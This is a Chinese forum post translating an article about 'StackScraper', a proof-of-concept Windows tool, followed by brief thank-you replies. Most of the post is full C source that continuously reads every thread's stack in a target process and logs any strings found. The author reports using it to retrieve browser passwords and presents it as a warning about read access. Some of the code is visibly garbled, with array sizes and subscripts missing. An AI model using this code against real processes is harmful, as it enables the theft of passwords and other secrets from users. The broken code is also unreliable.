梦幻的彼岸 发表于 2022-2-10 09:39:27

StackScraper - 利用对远程进程的实时堆栈扫描来捕获敏感数据

本帖最后由 梦幻的彼岸 于 2022-2-10 10:34 编辑

翻译
原文地址:https://www.x86matthew.com/view_post?id=stack_scraper
功能:利用对远程进程的实时堆栈扫描来捕获敏感数据
static/image/hrline/1.gif
读取内存的潜在危险常常被安全开发人员所忽视,大部分精力都放在了防止写入不需要的数据上。

我创建这个工具是为了显示在不需要任何注入技术的情况下,可以从一个正在运行的进程中提取多少数据。

这个程序持续扫描目标进程中每个线程的整个堆栈,并提取它发现的任何字符串。它既处理指向字符串的指针,也处理分配在堆栈本身的字符串(局部变量)。

这不是一个精确的工具--它使用了一种非常拙劣的方法,但它确实能返回良好的结果。我已经用这个工具成功地从网络浏览器中检索了密码。这个工具的主要目的是为了强调限制对远程进程的读访问的重要性。

我的概念验证工具的工作原理如下:
1. 使用OpenProcess为目标进程创建一个句柄。
2. 使用NtQuerySystemInformation与SystemProcessInformation来检索目标进程中的线程列表。
3. 调用NtOpenThread来打开目标进程中的第一个线程。
4. 用ThreadBasicInformation调用NtQueryInformationThread,以返回远程线程的TEB地址(TebBaseAddress)。
5. 使用ReadProcessMemory从远程进程中读取该线程的整个TEB结构(NT_TIB)。
6. 计算全栈大小(TEB.StackBase - TEB.StackLimit),并使用ReadProcessMemory读取整个栈的内容。
7. 使用ReadProcessMemory读取堆栈上任何指针的数据值,并检查是否有字符串。
8. 通过堆栈数据查看本地字符串变量内容。
9. 对目标进程中的下一个线程返回到步骤#3。对所有剩余的线程重复上述步骤。
10. 回到步骤#2,重新开始。

以下是完整的代码:
#include <stdio.h>
#include <windows.h>

#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
#define SystemProcessInformation 5
#define ThreadBasicInformation 0

// max stack size - 1mb
#define MAX_STACK_SIZE ((1024 * 1024) / sizeof(DWORD))

// max stack string value size - 1kb
#define MAX_STACK_VALUE_SIZE 1024

#define TEMP_LOG_FILENAME "temp_log.txt"

struct CLIENT_ID
{
      HANDLE UniqueProcess;
      HANDLE UniqueThread;
};

struct THREAD_BASIC_INFORMATION
{
      DWORD ExitStatus;
      PVOID TebBaseAddress;
      CLIENT_ID ClientId;
      PVOID AffinityMask;
      DWORD Priority;
      DWORD BasePriority;
};

struct UNICODE_STRING
{
      USHORT Length;
      USHORT MaximumLength;
      PWSTR Buffer;
};

struct OBJECT_ATTRIBUTES
{
      ULONG Length;
      HANDLE RootDirectory;
      UNICODE_STRING *ObjectName;
      ULONG Attributes;
      PVOID SecurityDescriptor;
      PVOID SecurityQualityOfService;
};

struct SYSTEM_PROCESS_INFORMATION
{
      ULONG NextEntryOffset;
      ULONG NumberOfThreads;
      BYTE Reserved1;
      UNICODE_STRING ImageName;
      DWORD BasePriority;
      HANDLE UniqueProcessId;
      PVOID Reserved2;
      ULONG HandleCount;
      ULONG SessionId;
      PVOID Reserved3;
      SIZE_T PeakVirtualSize;
      SIZE_T VirtualSize;
      ULONG Reserved4;
      SIZE_T PeakWorkingSetSize;
      SIZE_T WorkingSetSize;
      PVOID Reserved5;
      SIZE_T QuotaPagedPoolUsage;
      PVOID Reserved6;
      SIZE_T QuotaNonPagedPoolUsage;
      SIZE_T PagefileUsage;
      SIZE_T PeakPagefileUsage;
      SIZE_T PrivatePageCount;
      LARGE_INTEGER Reserved7;
};

struct SYSTEM_THREAD_INFORMATION
{
    LARGE_INTEGER Reserved1;
    ULONG Reserved2;
    PVOID StartAddress;
    CLIENT_ID ClientId;
    DWORD Priority;
    LONG BasePriority;
    ULONG Reserved3;
    ULONG ThreadState;
    ULONG WaitReason;
};

DWORD (WINAPI *NtQuerySystemInformation)(DWORD SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
DWORD (WINAPI *NtQueryInformationThread)(HANDLE ThreadHandle, DWORD ThreadInformationClass, PVOID ThreadInformation, ULONG ThreadInformationLength, PULONG ReturnLength);
DWORD (WINAPI *NtOpenThread)(HANDLE *ThreadHandle, DWORD DesiredAccess, OBJECT_ATTRIBUTES *ObjectAttributes, CLIENT_ID *ClientId);

DWORD dwGlobal_Stack;
HANDLE hGlobal_LogFile = NULL;

SYSTEM_PROCESS_INFORMATION *pGlobal_SystemProcessInfo = NULL;

DWORD GetSystemProcessInformation()
{
      DWORD dwAllocSize = 0;
      DWORD dwStatus = 0;
      DWORD dwLength = 0;
      BYTE *pSystemProcessInfoBuffer = NULL;

      // free previous handle info list (if one exists)
      if(pGlobal_SystemProcessInfo != NULL)
      {
                free(pGlobal_SystemProcessInfo);
      }

      // get system handle list
      dwAllocSize = 0;
      for(;;)
      {
                if(pSystemProcessInfoBuffer != NULL)
                {
                        // free previous inadequately sized buffer
                        free(pSystemProcessInfoBuffer);
                        pSystemProcessInfoBuffer = NULL;
                }

                if(dwAllocSize != 0)
                {
                        // allocate new buffer
                        pSystemProcessInfoBuffer = (BYTE*)malloc(dwAllocSize);
                        if(pSystemProcessInfoBuffer == NULL)
                        {
                              return 1;
                        }
                }

                // get system handle list
                dwStatus = NtQuerySystemInformation(SystemProcessInformation, (void*)pSystemProcessInfoBuffer, dwAllocSize, &dwLength);
                if(dwStatus == 0)
                {
                        // success
                        break;
                }
                else if(dwStatus == STATUS_INFO_LENGTH_MISMATCH)
                {
                        // not enough space - allocate a larger buffer and try again (also add an extra 1kb to allow for additional data between checks)
                        dwAllocSize = (dwLength + 1024);
                }
                else
                {
                        // other error
                        free(pSystemProcessInfoBuffer);
                        return 1;
                }
      }

      // store handle info ptr
      pGlobal_SystemProcessInfo = (SYSTEM_PROCESS_INFORMATION*)pSystemProcessInfoBuffer;

      return 0;
}

DWORD CheckValidStringCharacter(BYTE bChar)
{
      // check if this is a valid string character
      if(bChar > 0x7F)
      {
                // invalid character
                return 1;
      }
      else if(bChar < 0x20 && bChar != '\r' && bChar != '\n')
      {
                // invalid character
                return 1;
      }

      return 0;
}

DWORD CheckValidString(char *pString)
{
      DWORD dwLength = 0;
      BYTE *pCurrCharacter = NULL;

      // calculate string length
      dwLength = strlen(pString);

      // string must be at least 5 characters
      if(dwLength < 5)
      {
                return 1;
      }

      // if string is less than 8 characters, ensure it doesn't contain any non-alphanumeric characters
      // (this removes a lot of "noise")
      if(dwLength < 8)
      {
                for(DWORD i = 0; i < dwLength; i++)
                {
                        pCurrCharacter = (BYTE*)(pString + i);
                        if(*pCurrCharacter >= 'a' && *pCurrCharacter <= 'z')
                        {
                              continue;
                        }
                        else if(*pCurrCharacter >= 'A' && *pCurrCharacter <= 'Z')
                        {
                              continue;
                        }
                        else if(*pCurrCharacter >= '0' && *pCurrCharacter <= '9')
                        {
                              continue;
                        }

                        // non-alphanumeric character found
                        return 1;
                }
      }

      return 0;
}

DWORD CheckAnsiString(BYTE *pValue, char *pString, DWORD dwStringMaxLength)
{
      DWORD dwNullFound = 0;
      DWORD dwStringLength = 0;

      // check if this is a valid ansi string
      for(DWORD i = 0; i < MAX_STACK_VALUE_SIZE; i++)
      {
                // check string value
                if(*(BYTE*)(pValue + i) == 0x00)
                {
                        // null terminator
                        dwNullFound = 1;
                        break;
                }
                else if(CheckValidStringCharacter(*(BYTE*)(pValue + i)) != 0)
                {
                        // invalid string
                        return 1;
                }
                else
                {
                        // valid character
                        dwStringLength++;
                }
      }

      if(dwNullFound == 0)
      {
                // invalid string (no null terminator found)
                return 1;
      }

      if(dwStringLength == 0)
      {
                // invalid string (blank)
                return 1;
      }

      // valid ansi string
      _snprintf(pString, dwStringMaxLength, "%s", pValue);

      return 0;
}

DWORD CheckWideCharString(BYTE *pValue, char *pString, DWORD dwStringMaxLength)
{
      DWORD dwNullFound = 0;
      DWORD dwStringLength = 0;

      // check if this is a valid widechar string
      for(DWORD i = 0; i < MAX_STACK_VALUE_SIZE; i++)
      {
                if(i % 2 == 1)
                {
                        if(*(BYTE*)(pValue + i) != 0x00)
                        {
                              // invalid string
                              return 1;
                        }

                        continue;
                }

                // check string value
                if(*(BYTE*)(pValue + i) == 0x00)
                {
                        // null terminator
                        dwNullFound = 1;
                        break;
                }
                else if(CheckValidStringCharacter(*(BYTE*)(pValue + i)) != 0)
                {
                        // invalid string
                        return 1;
                }
                else
                {
                        // valid character
                        dwStringLength++;
                }
      }

      if(dwNullFound == 0)
      {
                // invalid string (no null terminator found)
                return 1;
      }

      if(dwStringLength == 0)
      {
                // invalid string (blank)
                return 1;
      }

      // valid widechar string
      _snprintf(pString, dwStringMaxLength, "%S", pValue);

      return 0;
}

DWORD CheckLogForDuplicates(char *pString, DWORD *pdwExists)
{
      FILE *pFile = NULL;
      DWORD dwExists = 0;
      char szLine;
      char *pEndOfLine = NULL;

      // open temp log file
      pFile = fopen(TEMP_LOG_FILENAME, "r");
      if(pFile == NULL)
      {
                return 1;
      }

      // check if this entry already exists in the file
      for(;;)
      {
                // get line
                memset(szLine, 0, sizeof(szLine));
                if(fgets(szLine, sizeof(szLine) - 1, pFile) == 0)
                {
                        break;
                }

                // remove carraige-return
                pEndOfLine = strstr(szLine, "\r");
                if(pEndOfLine != NULL)
                {
                        *pEndOfLine = '\0';
                }

                // remove new-line
                pEndOfLine = strstr(szLine, "\n");
                if(pEndOfLine != NULL)
                {
                        *pEndOfLine = '\0';
                }

                // check if the current line contains the specified string
                if(strstr(szLine, pString) != NULL)
                {
                        // found
                        dwExists = 1;
                        break;
                }
      }

      // close file handle
      fclose(pFile);

      // store dwExists
      *pdwExists = dwExists;

      return 0;
}

DWORD ProcessStackValue(BYTE *pValue, char *pStringFilter, DWORD *pdwStringDataLength)
{
      BYTE bStackValueCopy;
      char szString;
      DWORD dwBytesWritten = 0;
      DWORD dwExists = 0;
      char *pCurrSearchPtr = NULL;
      DWORD dwMatchesFilter = 0;
      DWORD dwWideCharString = 0;
      DWORD dwOutputStringLength = 0;

      // reset length value
      *pdwStringDataLength = 0;

      // create a copy of the stack value to ensure it is null terminated
      memset(bStackValueCopy, 0, sizeof(bStackValueCopy));
      memcpy(bStackValueCopy, pValue, MAX_STACK_VALUE_SIZE);

      // check if this value is an ANSI string
      memset(szString, 0, sizeof(szString));
      if(CheckAnsiString(bStackValueCopy, szString, sizeof(szString) - 1) != 0)
      {
                // check if this value is a widechar string
                if(CheckWideCharString(bStackValueCopy, szString, sizeof(szString) - 1) != 0)
                {
                        // not a string - ignore
                        return 1;
                }

                // widechar string
                dwWideCharString = 1;
      }

      // perform further validation on the string
      if(CheckValidString(szString) != 0)
      {
                return 1;
      }

      // replace '\r' and '\n' characters with dots
      // (we don't want to terminate the string here because it may contain useful information on the following line)
      for(DWORD i = 0; i < strlen(szString); i++)
      {
                if(szString == '\r')
                {
                        szString = '.';
                }
                else if(szString == '\n')
                {
                        szString = '.';
                }
      }

      if(pStringFilter != NULL)
      {
                // check if this string matches the specified filter
                pCurrSearchPtr = szString;
                for(;;)
                {
                        if(*pCurrSearchPtr == '\0')
                        {
                              // end of string
                              break;
                        }

                        // check if the substring exists here
                        if(strnicmp(pCurrSearchPtr, pStringFilter, strlen(pStringFilter)) == 0)
                        {
                              // found matching substring
                              dwMatchesFilter = 1;
                              break;
                        }

                        // move to the next character
                        pCurrSearchPtr++;
                }
      }
      else
      {
                // no filter specified - always match
                dwMatchesFilter = 1;
      }

      if(dwMatchesFilter != 0)
      {
                // check if this string has already been found
                if(CheckLogForDuplicates(szString, &dwExists) != 0)
                {
                        return 1;
                }

                if(dwExists == 0)
                {
                        // calculate string length
                        dwOutputStringLength = strlen(szString);

                        // new string found - write to log
                        if(WriteFile(hGlobal_LogFile, szString, dwOutputStringLength, &dwBytesWritten, NULL) == 0)
                        {
                              return 1;
                        }

                        // write crlf
                        if(WriteFile(hGlobal_LogFile, "\r\n", strlen("\r\n"), &dwBytesWritten, NULL) == 0)
                        {
                              return 1;
                        }

                        // store string data length
                        if(dwWideCharString == 0)
                        {
                              // ansi string
                              *pdwStringDataLength = dwOutputStringLength;
                        }
                        else
                        {
                              // widechar string
                              *pdwStringDataLength = dwOutputStringLength * 2;
                        }

                        // print to console
                        printf("Found string: %s\n", szString);
                }
      }

      return 0;
}

DWORD GetStackStrings_Pointers(HANDLE hProcess, DWORD dwStackSize, char *pStringFilter)
{
      DWORD *pdwCurrStackPtr = NULL;
      DWORD dwCurrStackValue = 0;
      BYTE bStackValue;
      DWORD dwStringDataLength = 0;

      // get all values from stack
      pdwCurrStackPtr = dwGlobal_Stack;
      for(DWORD i = 0; i < (dwStackSize / sizeof(DWORD)); i++)
      {
                // get current stack value
                dwCurrStackValue = *pdwCurrStackPtr;

                // check if this value is potentially a data ptr
                if(dwCurrStackValue >= 0x10000)
                {
                        // attempt to read data from this ptr
                        memset(bStackValue, 0, sizeof(bStackValue));
                        if(ReadProcessMemory(hProcess, (void*)dwCurrStackValue, bStackValue, sizeof(bStackValue), NULL) != 0)
                        {
                              // process current stack value
                              dwStringDataLength = 0;
                              ProcessStackValue(bStackValue, pStringFilter, &dwStringDataLength);
                        }
                }

                // move to next stack value
                pdwCurrStackPtr++;
      }

      return 0;
}

DWORD GetStackStrings_LocalVariables(DWORD dwStackSize, char *pStringFilter)
{
      DWORD dwCopyLength = 0;
      BYTE *pCurrStackPtr = NULL;
      DWORD dwStringDataLength = 0;
      BYTE bStackValue;

      // find strings allocated on stack
      pCurrStackPtr = (BYTE*)dwGlobal_Stack;
      for(DWORD i = 0; i < dwStackSize; i++)
      {
                // ignore if the current value is null
                if(*pCurrStackPtr == 0x00)
                {
                        pCurrStackPtr++;
                        continue;
                }

                // calculate number of bytes to copy
                dwCopyLength = sizeof(dwGlobal_Stack) - i;
                if(dwCopyLength > sizeof(bStackValue))
                {
                        dwCopyLength = sizeof(bStackValue);
                }

                // copy current data block
                memset(bStackValue, 0, sizeof(bStackValue));
                memcpy(bStackValue, pCurrStackPtr, dwCopyLength);

                // process current stack value
                dwStringDataLength = 0;
                ProcessStackValue(bStackValue, pStringFilter, &dwStringDataLength);

                if(dwStringDataLength != 0)
                {
                        // move ptr to the end of the last string
                        pCurrStackPtr += dwStringDataLength;
                }
                else
                {
                        // move ptr to the next byte
                        pCurrStackPtr++;
                }
      }

      return 0;
}

DWORD GetStackStrings(HANDLE hProcess, HANDLE hThread, DWORD dwThreadID, char *pStringFilter)
{
      THREAD_BASIC_INFORMATION ThreadBasicInformationData;
      NT_TIB ThreadTEB;
      DWORD dwStackSize = 0;

      // get thread basic information
      memset((void*)&ThreadBasicInformationData, 0, sizeof(ThreadBasicInformationData));
      if(NtQueryInformationThread(hThread, ThreadBasicInformation, &ThreadBasicInformationData, sizeof(THREAD_BASIC_INFORMATION), NULL) != 0)
      {
                return 1;
      }

      // read thread TEB
      memset((void*)&ThreadTEB, 0, sizeof(ThreadTEB));
      if(ReadProcessMemory(hProcess, ThreadBasicInformationData.TebBaseAddress, &ThreadTEB, sizeof(ThreadTEB), NULL) == 0)
      {
                return 1;
      }

      // calculate thread stack size
      dwStackSize = (DWORD)ThreadTEB.StackBase - (DWORD)ThreadTEB.StackLimit;
      if(dwStackSize > sizeof(dwGlobal_Stack))
      {
                return 1;
      }

      // read full thread stack
      if(ReadProcessMemory(hProcess, ThreadTEB.StackLimit, dwGlobal_Stack, dwStackSize, NULL) == 0)
      {
                return 1;
      }

      // read ptrs
      if(GetStackStrings_Pointers(hProcess, dwStackSize, pStringFilter) != 0)
      {
                return 1;
      }

      // read local variables
      if(GetStackStrings_LocalVariables(dwStackSize, pStringFilter) != 0)
      {
                return 1;
      }

      return 0;
}

DWORD ReadProcessStackData(HANDLE hProcess, DWORD dwPID, char *pStringFilter)
{
      HANDLE hThread = NULL;
      SYSTEM_PROCESS_INFORMATION *pCurrProcessInfo = NULL;
      SYSTEM_PROCESS_INFORMATION *pNextProcessInfo = NULL;
      SYSTEM_PROCESS_INFORMATION *pTargetProcessInfo = NULL;
      SYSTEM_THREAD_INFORMATION *pCurrThreadInfo = NULL;
      OBJECT_ATTRIBUTES ObjectAttributes;
      DWORD dwStatus = 0;

      // get snapshot of processes/threads
      if(GetSystemProcessInformation() != 0)
      {
                return 1;
      }

      // find the target process in the list
      pCurrProcessInfo = pGlobal_SystemProcessInfo;
      for(;;)
      {
                // check if this is the target PID
                if((DWORD)pCurrProcessInfo->UniqueProcessId == dwPID)
                {
                        // found target process
                        pTargetProcessInfo = pCurrProcessInfo;
                        break;
                }

                // check if this is the end of the list
                if(pCurrProcessInfo->NextEntryOffset == 0)
                {
                        // end of list
                        break;
                }
                else
                {
                        // get next process ptr
                        pNextProcessInfo = (SYSTEM_PROCESS_INFORMATION*)((BYTE*)pCurrProcessInfo + pCurrProcessInfo->NextEntryOffset);
                }

                // go to next process
                pCurrProcessInfo = pNextProcessInfo;
      }

      // ensure the target process was found in the list
      if(pTargetProcessInfo == NULL)
      {
                return 1;
      }

      // loop through all threads within the target process
      pCurrThreadInfo = (SYSTEM_THREAD_INFORMATION*)((BYTE*)pTargetProcessInfo + sizeof(SYSTEM_PROCESS_INFORMATION));
      for(DWORD i = 0; i < pTargetProcessInfo->NumberOfThreads; i++)
      {
                // open thread
                memset((void*)&ObjectAttributes, 0, sizeof(ObjectAttributes));
                ObjectAttributes.Length = sizeof(ObjectAttributes);
                dwStatus = NtOpenThread(&hThread, THREAD_QUERY_INFORMATION, &ObjectAttributes, &pCurrThreadInfo->ClientId);
                if(dwStatus == 0)
                {
                        // extract strings from the stack of this thread
                        GetStackStrings(hProcess, hThread, (DWORD)pCurrThreadInfo->ClientId.UniqueThread, pStringFilter);

                        // close handle
                        CloseHandle(hThread);
                }

                // move to the next thread
                pCurrThreadInfo++;
      }

      return 0;
}

DWORD GetNtdllFunctions()
{
      // get NtQueryInformationThread ptr
      NtQueryInformationThread = (unsigned long (__stdcall *)(void *,unsigned long,void *,unsigned long,unsigned long *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryInformationThread");
      if(NtQueryInformationThread == NULL)
      {
                return 1;
      }

      // get NtQuerySystemInformation function ptr
      NtQuerySystemInformation = (unsigned long (__stdcall *)(unsigned long,void *,unsigned long,unsigned long *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
      if(NtQuerySystemInformation == NULL)
      {
                return 1;
      }

      // get NtOpenThread function ptr
      NtOpenThread = (unsigned long (__stdcall *)(void ** ,unsigned long,struct OBJECT_ATTRIBUTES *,struct CLIENT_ID *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenThread");
      if(NtOpenThread == NULL)
      {
                return 1;
      }

      return 0;
}

int main(int argc, char *argv[])
{
      HANDLE hProcess = NULL;
      DWORD dwPID = 0;
      char *pStringFilter = NULL;

      printf("StackScraper - www.x86matthew.com\n\n");

      if(argc != 2 && argc != 3)
      {
                printf("Usage: %s \n\n", argv);

                return 1;
      }

      // get params
      dwPID = atoi(argv);
      if(argc == 3)
      {
                pStringFilter = argv;
      }

      // get ntdll function ptrs
      if(GetNtdllFunctions() != 0)
      {
                return 1;
      }

      // open process
      hProcess = OpenProcess(PROCESS_VM_READ, 0, dwPID);
      if(hProcess == NULL)
      {
                printf("Failed to open process: %u\n", dwPID);

                return 1;
      }

      printf("Opened process %u successfully\n", dwPID);

      // create a temporary log file to ignore duplicate entries
      hGlobal_LogFile = CreateFile(TEMP_LOG_FILENAME, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
      if(hGlobal_LogFile == INVALID_HANDLE_VALUE)
      {
                printf("Failed to create temporary log file: '%s'\n", TEMP_LOG_FILENAME);
                // error
                CloseHandle(hProcess);

                return 1;
      }

      // check if a filter was specified
      if(pStringFilter == NULL)
      {
                printf("Monitoring process stack...\n");
      }
      else
      {
                printf("Monitoring process stack for strings containing '%s'...\n", pStringFilter);
      }

      // monitor target process
      for(;;)
      {
                // read stack data from remote process
                if(ReadProcessStackData(hProcess, dwPID, pStringFilter) != 0)
                {
                        break;
                }
      }

      printf("Exiting...\n");

      // close file handle
      CloseHandle(hGlobal_LogFile);

      // close process handle
      CloseHandle(hProcess);

      return 0;
}

ziyiu 发表于 2022-2-10 16:38:31

谢谢楼主的分享

530812wxh 发表于 2022-2-11 20:35:18

PYG有你更精彩!

1otus 发表于 2022-2-12 11:32:29

感谢楼主分享

夜先生 发表于 2022-2-13 14:08:42

感谢楼主分享
页: [1]
查看完整版本: StackScraper - 利用对远程进程的实时堆栈扫描来捕获敏感数据